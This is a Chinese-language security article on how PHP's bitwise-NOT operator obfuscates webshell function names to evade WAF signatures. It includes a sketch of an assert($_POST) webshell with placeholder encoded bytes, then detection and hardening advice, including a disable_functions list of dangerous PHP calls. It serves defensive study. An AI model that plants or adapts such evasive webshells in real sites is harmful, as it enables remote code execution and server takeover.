PHP 的位運算符 ~(按位取反)在特定編碼下能將可讀字串轉為「亂碼」,再經二次取反還原。攻擊者利用此特性構造免殺 Webshell,繞過 WAF 靜態特徵匹配。本文深入剖析原理、重現過程、編碼陷阱與防禦策略,僅供安全研究與防禦參考,嚴禁用於非法用途。
PHP 中 ~$str 對字串每個字元的位元進行取反(0↔1)。若原字串為 ASCII 可列印字元,取反後多半落在控制字元或擴展 ASCII 區,顯示為亂碼。但再次取反 ~~$str 即可完美還原。
<?php $original = 'assert'; $encoded = ~$original; // 產生二進位「亂碼」 $decoded = ~$encoded; // 還原為 'assert' var_dump($original, $encoded, $decoded); /* string(6) "assert" string(6) "" // 實際為不可列印字元 string(6) "assert" */ ?>
攻擊者將敏感函數名(assert、system、eval)與參數(_POST、_GET)均經取反編碼,執行時再取反還原:
<?php // 免殺 Webshell 核心代碼(僅示意,勿部署) $x = ~'▒▒▒▒▒▒'; // ~'assert' 取反後的二進位字串 $x(~'▒▒▒▒▒▒▒▒▒▒'); // ~'_POST' 取反後,執行 assert($_POST[...]) ?>
實際部署時,攻擊者會將二進位字串以 ISO-8859-1 (Latin-1) 或 Windows-1252 編碼儲存於 PHP 檔案中,因為這些編碼將 0x80-0xFF 映射為可顯示字元,避免 UTF-8 多字節導致語法錯誤。
Parse error 或直接 500。~'...' 或 ~\"...\" 後接變數調用 $x(...) 模式。php -l 語法檢查、RIPS、PHPStan 自訂規則、YARA 規則匹配二進位字串模式。disable_functions = assert,eval,system,exec,shell_exec,passthru,popen,proc_openassert、call_user_func 等動態調用,檢查參數來源。assert() 行為、禁止可變函數名調用敏感函數。在 Web 應用防火牆 (WAF) 或 PHP 輸入過濾層,將請求體統一轉為 UTF-8 並移除/替換非法位元組序列,使取反編碼的 Payload 失效。
監控 Web 目錄下 .php/.phtml/.php5 等檔案的建立/修改,計算雜湊值並與基線比對,異常即時告警。
位取反免殺技術利用 PHP 字串位運算與編碼特性,將惡意代碼偽裝為無意義二進位資料。理解其編碼依賴性(必須為單字節編碼)與動態調用模式,是偵測與防禦的關鍵。防禦應採取「靜態掃描 + 運行時限制 + 檔案監控」多層次策略,並定期更新特徵庫應對變種。
免責聲明:本文技術細節僅供安全研究人員理解攻擊原理、提升防禦能力。任何未經授權的滲透測試、Webshell 植入、系統入侵均屬違法行為,嚴禁實施。